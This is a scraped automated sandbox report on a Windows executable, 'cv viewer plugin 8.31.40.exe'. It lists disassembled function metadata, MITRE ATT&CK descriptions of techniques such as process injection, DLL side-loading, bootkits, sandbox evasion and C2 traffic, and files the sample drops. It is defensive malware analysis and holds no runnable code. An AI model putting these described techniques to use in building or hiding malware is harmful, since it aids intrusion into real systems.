\save.dat, xrefs: 016A5383

Memory Dump Source

Source File: 00000007.00000002.2646165637.00000000016A1000.00000040.00001000.00020000.00000000.sdmp, Offset: 016A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_16a1000_cv viewer plugin 8.jbxd

Yara matches

Similarity

API ID: AllocateFolderHeapPathSpecial_malloc
String ID: \save.dat
API String ID: 4128168839-3580179773
Opcode ID: cee10439d44c58758b1479dbffe4a0740122c73d13c9fa8d7e82c413bc217a1a
Instruction ID: fb1abdf8329de8ae350e536bc82ef31563d5fb318ce0623867b460dc8991da10
Opcode Fuzzy Hash: cee10439d44c58758b1479dbffe4a0740122c73d13c9fa8d7e82c413bc217a1a
Instruction Fuzzy Hash: 7E113D729042457BDB25DE698CD09AFFF6BDFC2550F5401ACE84567301EAA21D02C7A0

Function 016A3965 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 016A396A
std::runtime_error::runtime_error.LIBCPMT ref: 016A39C1

Part of subcall function 016A1410: std::exception::exception.LIBCMT ref: 016A1428

Part of subcall function 016AA61E: __EH_prolog.LIBCMT ref: 016AA623
Part of subcall function 016AA61E: Concurrency::cancellation_token::_FromImpl.LIBCPMT ref: 016AA632
Part of subcall function 016AA61E: __CxxThrowException@8.LIBCMT ref: 016AA651

Strings

Day of month is not valid for year, xrefs: 016A39AC

Memory Dump Source

Source File: 00000007.00000002.2646165637.00000000016A1000.00000040.00001000.00020000.00000000.sdmp, Offset: 016A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_16a1000_cv viewer plugin 8.jbxd

Yara matches

Similarity

API ID: H_prolog$Concurrency::cancellation_token::_Exception@8FromImplThrowstd::exception::exceptionstd::runtime_error::runtime_error
String ID: Day of month is not valid for year
API String ID: 1404951899-1521898139
Opcode ID: 3700e688927b87ba94b9fddf2cca2cab414c7d1c2582609290c83e9b2af6713f
Instruction ID: 363264c937dc5d85a5386f4f49d0d2398c618200ed3e57e4ad08010feb8fe71c
Opcode Fuzzy Hash: 3700e688927b87ba94b9fddf2cca2cab414c7d1c2582609290c83e9b2af6713f
Instruction Fuzzy Hash: 8401527691020AAACB04EFD4DC41AFEBBB9FF64A10F40455EE80593200EB745E55CBA9

Function 016AB100 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 34COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 016AFB17
__CxxThrowException@8.LIBCMT ref: 016AFB2C

Part of subcall function 016B3B4C: _malloc.LIBCMT ref: 016B3B64

Strings

bad allocation, xrefs: 016AFB0C

Memory Dump Source

Source File: 00000007.00000002.2646165637.00000000016A1000.00000040.00001000.00020000.00000000.sdmp, Offset: 016A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_16a1000_cv viewer plugin 8.jbxd

Yara matches

Similarity

API ID: Exception@8Throw_mallocstd::exception::exception
String ID: bad allocation
API String ID: 4063778783-2104205924
Opcode ID: d9b90bc4e75427a9ceafd67c206ca22bc5150651c3a86cf80216c5df14a39fc9
Instruction ID: 90b2996e1b75fabd8b55f7d6c1249d6466c4d5d248a25cf6dcec006146594f30
Opcode Fuzzy Hash: d9b90bc4e75427a9ceafd67c206ca22bc5150651c3a86cf80216c5df14a39fc9
Instruction Fuzzy Hash: 4CF0897060030A669F08AA5C8C559FF77EDDF04611F90056EA915D3681EF70FD408555

Function 016A3C16 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 29COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 016A3C1B
std::bad_exception::bad_exception.LIBCMT ref: 016A3C30

Part of subcall function 016B24B7: std::exception::exception.LIBCMT ref: 016B24C1

Part of subcall function 016AA657: __EH_prolog.LIBCMT ref: 016AA65C
Part of subcall function 016AA657: __CxxThrowException@8.LIBCMT ref: 016AA685

Strings

bad cast, xrefs: 016A3C28

Memory Dump Source

Source File: 00000007.00000002.2646165637.00000000016A1000.00000040.00001000.00020000.00000000.sdmp, Offset: 016A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_16a1000_cv viewer plugin 8.jbxd

Yara matches

Similarity

API ID: H_prolog$Exception@8Throwstd::bad_exception::bad_exceptionstd::exception::exception
String ID: bad cast
API String ID: 1300498068-3145022300
Opcode ID: 7928f10c41138049e3ef04b14f640074e5ca97b2da6b7eb3e7e2a3631fee82b2
Instruction ID: 7a021e03ce00b06ad1d26dedf4b258fbb59a435bafa63e76b30602401d0a9e0b
Opcode Fuzzy Hash: 7928f10c41138049e3ef04b14f640074e5ca97b2da6b7eb3e7e2a3631fee82b2
Instruction Fuzzy Hash: 21F0A032A001058BC709DF98DC44AEAB775FF61711F1001AEED0A5B241CB76AA46CB94

Function 016A3919 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 016A391E
std::runtime_error::runtime_error.LIBCPMT ref: 016A393D

Part of subcall function 016A1410: std::exception::exception.LIBCMT ref: 016A1428

Part of subcall function 016A898C: _memmove.LIBCMT ref: 016A89AC

Strings

Month number is out of range 1..12, xrefs: 016A392C

Memory Dump Source

Source File: 00000007.00000002.2646165637.00000000016A1000.00000040.00001000.00020000.00000000.sdmp, Offset: 016A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_16a1000_cv viewer plugin 8.jbxd

Yara matches

Similarity

API ID: H_prolog_memmovestd::exception::exceptionstd::runtime_error::runtime_error
String ID: Month number is out of range 1..12
API String ID: 3258419250-4198407886
Opcode ID: eb6a331f5d9cb74e93de8c3ef25e5e58f9004612f6b132877ce6c8f8e22af009
Instruction ID: 0562709bfab9190724423c1a5b5804a2c6e8ea6d7a052b93e2ebb5f2d09b0b1e
Opcode Fuzzy Hash: eb6a331f5d9cb74e93de8c3ef25e5e58f9004612f6b132877ce6c8f8e22af009
Instruction Fuzzy Hash: A0E0D833B401099BC718BF98CC117FDBBB9DB18E10F00019ED80663680DAB12D40CBD9

Function 016A38CD Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 016A38D2
std::runtime_error::runtime_error.LIBCPMT ref: 016A38F1

Part of subcall function 016A1410: std::exception::exception.LIBCMT ref: 016A1428

Part of subcall function 016A898C: _memmove.LIBCMT ref: 016A89AC

Strings

Year is out of valid range: 1400..10000, xrefs: 016A38E0

Memory Dump Source

Source File: 00000007.00000002.2646165637.00000000016A1000.00000040.00001000.00020000.00000000.sdmp, Offset: 016A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_16a1000_cv viewer plugin 8.jbxd

Yara matches

Similarity

API ID: H_prolog_memmovestd::exception::exceptionstd::runtime_error::runtime_error
String ID: Year is out of valid range: 1400..10000
API String ID: 3258419250-2344417016
Opcode ID: 949b31961fd2f79dfa064aa6e8e827de6d1da53f2b1f4040c9c2ec43a245cf9f
Instruction ID: 0e410a9c6ed1af4939e8556f0b5cff0023e645c0aefc67768cbc43f54f588a60
Opcode Fuzzy Hash: 949b31961fd2f79dfa064aa6e8e827de6d1da53f2b1f4040c9c2ec43a245cf9f
Instruction Fuzzy Hash: FAE09232B401055BC714FF98CC117FDBBA9DB18A10F00059ED80263680DAB12D40CBD9

Function 016A3881 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 016A3886
std::runtime_error::runtime_error.LIBCPMT ref: 016A38A5

Part of subcall function 016A1410: std::exception::exception.LIBCMT ref: 016A1428

Part of subcall function 016A898C: _memmove.LIBCMT ref: 016A89AC

Strings

Day of month value is out of range 1..31, xrefs: 016A3894

Memory Dump Source

Source File: 00000007.00000002.2646165637.00000000016A1000.00000040.00001000.00020000.00000000.sdmp, Offset: 016A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_16a1000_cv viewer plugin 8.jbxd

Yara matches

Similarity

API ID: H_prolog_memmovestd::exception::exceptionstd::runtime_error::runtime_error
String ID: Day of month value is out of range 1..31
API String ID: 3258419250-1361117730
Opcode ID: ac1be5dc184f595f95104f4b8db86b5c28a967f36a9c6b3a592adfc32fbe5c5e
Instruction ID: 1d4d80ed239d9533e28f4fc6cbd90fc9e62a2813be4ccd99989929cff8722360
Opcode Fuzzy Hash: ac1be5dc184f595f95104f4b8db86b5c28a967f36a9c6b3a592adfc32fbe5c5e
Instruction Fuzzy Hash: DEE09272B4011557C714AF98CC117FDBBA9EB18A10F40019ED80263680DAB12D44CBD9

Function 016A19C2 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

TlsAlloc.KERNEL32 ref: 016A19CC
GetLastError.KERNEL32 ref: 016A19D9

Part of subcall function 016A1712: __EH_prolog.LIBCMT ref: 016A1717

Strings

tss, xrefs: 016A19E8

Memory Dump Source

Source File: 00000007.00000002.2646165637.00000000016A1000.00000040.00001000.00020000.00000000.sdmp, Offset: 016A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_16a1000_cv viewer plugin 8.jbxd

Yara matches

Similarity

API ID: AllocErrorH_prologLast
String ID: tss
API String ID: 249634027-1638339373
Opcode ID: 4bf8e0ac1c78cdf511bb254aef1a9d1ebcc20f8daf8a51a7fcded6e5826d7a1e
Instruction ID: 06ab3730f0a7710b9a2689410d46e576ccff8954749d74515126eb2a94e9664f
Opcode Fuzzy Hash: 4bf8e0ac1c78cdf511bb254aef1a9d1ebcc20f8daf8a51a7fcded6e5826d7a1e
Instruction Fuzzy Hash: 73E08675A142155BC3107B7CDC090ABBBA49A45175F10876AFCB9832D0EB308D50CFD6

Function 016A3BD3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 016A3BD8
std::bad_exception::bad_exception.LIBCMT ref: 016A3BED

Part of subcall function 016B24B7: std::exception::exception.LIBCMT ref: 016B24C1

Part of subcall function 016AA657: __EH_prolog.LIBCMT ref: 016AA65C
Part of subcall function 016AA657: __CxxThrowException@8.LIBCMT ref: 016AA685

Strings

bad cast, xrefs: 016A3BE5

Memory Dump Source

Source File: 00000007.00000002.2646165637.00000000016A1000.00000040.00001000.00020000.00000000.sdmp, Offset: 016A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_16a1000_cv viewer plugin 8.jbxd

Yara matches

Similarity

API ID: H_prolog$Exception@8Throwstd::bad_exception::bad_exceptionstd::exception::exception
String ID: bad cast
API String ID: 1300498068-3145022300
Opcode ID: a86e586801ac815cb564332ef4b73298eb257ae09f69d65b2ea21bcadf170d0b
Instruction ID: fe8d7d38eee6a8e2931f695a4198af8e1df079343418bdf1b33d599da452ba6d
Opcode Fuzzy Hash: a86e586801ac815cb564332ef4b73298eb257ae09f69d65b2ea21bcadf170d0b
Instruction Fuzzy Hash: 59E09A31A0010A9BC704EF98CD45BBCBB71EF20700F0041AD990607780CB396946CA89

Function 00404A70 Relevance: 5.1, APIs: 4, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

HeapReAlloc.KERNEL32(00000000,00000050,?,00000000,00404838,?,?,?,00000100,?,00000000), ref: 00404A98
HeapAlloc.KERNEL32(00000008,000041C4,?,00000000,00404838,?,?,?,00000100,?,00000000), ref: 00404ACC
VirtualAlloc.KERNEL32(00000000,00100000,00002000,00000004,?,00000000,00404838,?,?,?,00000100,?,00000000), ref: 00404AE6
HeapFree.KERNEL32(00000000,?,?,00000000,00404838,?,?,?,00000100,?,00000000), ref: 00404AFD

Memory Dump Source

Source File: 00000007.00000002.2643509901.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2643509901.000000000040B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_cv viewer plugin 8.jbxd

Similarity

API ID: AllocHeap$FreeVirtual
String ID:
API String ID: 3499195154-0
Opcode ID: 326bc21520183113991a8339bf2de7ac4146e2f373772080d0e11da3f1adebb6
Instruction ID: e2b6aa67baf941fda6b0a0502f281f3949fe5c10b928d307e266fea8edbc1969
Opcode Fuzzy Hash: 326bc21520183113991a8339bf2de7ac4146e2f373772080d0e11da3f1adebb6
Instruction Fuzzy Hash: 1E1113B0201601EFC7208F19EE85E227BB5FB857217114A3AF692E65F1D770A845CB4C

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use bootkits to persist on systems. Bootkits reside at a layer below the operating system and may make it difficult to perform full remediation unless an organization suspects one was used and can act accordingly.
Tactics:	Defense Evasion, Persistence
Data Sources:	Drive: Drive Modification
Platforms:	Linux, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report cv viewer plugin 8.31.40.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\cv831-it-40.dat

C:\ProgramData\cv831-rc-40.dat

C:\ProgramData\cv831-res-a.dat

C:\ProgramData\cv831-res-b.dat

C:\servicereg.log

C:\servicestart.log

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

Windows Analysis Report
cv viewer plugin 8.31.40.exe

Function 016A6487 Relevance: 82.5, APIs: 42, Strings: 5, Instructions: 228
memorysleeplibraryCOMMON

Function 00401B4B Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 74
libraryloaderCOMMON

Function 00401F64 Relevance: 12.1, APIs: 8, Instructions: 121
memoryCOMMON

Function 016AF9A7 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 87
libraryloaderCOMMON

Function 016A2B95 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 132
networkCOMMON

Function 016AF8A3 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 100
fileCOMMON

Function 00401A4F Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 94
fileCOMMON

Function 00402EB0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 75
COMMON

Function 016A72A7 Relevance: 95.2, APIs: 41, Strings: 13, Instructions: 659
networksleepfileCOMMON

Function 0040235E Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 93
registrysynchronizationthreadCOMMON

Function 016A1CF8 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 105
synchronizationCOMMON

Function 016A4603 Relevance: 19.9, APIs: 13, Instructions: 442
networkCOMMON

Function 016A4D86 Relevance: 16.8, APIs: 11, Instructions: 256
COMMON